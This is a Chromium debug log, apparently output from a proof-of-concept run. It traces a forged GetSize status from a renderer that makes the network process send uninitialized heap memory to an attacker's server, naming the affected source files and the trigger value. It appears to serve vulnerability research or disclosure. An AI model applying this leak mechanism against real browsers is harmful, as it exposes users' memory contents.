[7196:7196:0401/171413.598983:ERROR:third_party/blink/renderer/core/fetch/bytes_uploader.cc:87] [POC-RENDERER] BytesUploader::StartReading: holding pipe open without writing; scheduling malicious GetSize reply with status=16000 [7196:7196:0401/171414.099817:ERROR:third_party/blink/renderer/core/fetch/bytes_uploader.cc:103] [POC-RENDERER] BytesUploader: firing GetSize reply NOW with status=16000 (will be interpreted as byte count) [7152:7181:0401/171414.100558:ERROR:services/network/chunked_data_pipe_upload_data_stream.cc:179] [POC-NETWORK] OnSizeReceived: status=16000 (positive=YES-BUG) buf_=SET-PENDING-READ buf_len_=16372 [7152:7181:0401/171414.101039:ERROR:services/network/chunked_data_pipe_upload_data_stream.cc:221] [POC-NETWORK] OnSizeReceived: calling OnReadCompleted(16000) -- if positive, HTTP stack will read this many UNINITIALIZED bytes from request_body_read_buf_ and send them on the wire [7152:7181:0401/171414.101296:ERROR:net/http/http_stream_parser.cc:562] [POC-NETWORK] HttpStreamParser::DoSendRequestReadBodyComplete: encoding 16000 bytes from request_body_read_buf_ (capacity=16372) -- nonzero_bytes=4096/16000 first_32_hex=BEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBE [7152:7181:0401/171414.101358:ERROR:net/http/http_stream_parser.cc:568] [POC-NETWORK] *** LEAK CONFIRMED: 4096 nonzero bytes in a buffer that was NEVER WRITTEN. This is uninitialized network-process heap being sent to the attacker's server. *** [7152:7181:0401/171414.101737:ERROR:net/http/http_stream_parser.cc:562] [POC-NETWORK] HttpStreamParser::DoSendRequestReadBodyComplete: encoding 16000 bytes from request_body_read_buf_ (capacity=16372) -- nonzero_bytes=4096/16000 first_32_hex=BEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBEBE [7152:7181:0401/171414.101799:ERROR:net/http/http_stream_parser.cc:568] [POC-NETWORK] *** LEAK CONFIRMED: 4096 nonzero bytes in a buffer that was NEVER WRITTEN. This is uninitialized network-process heap being sent to the attacker's server. ***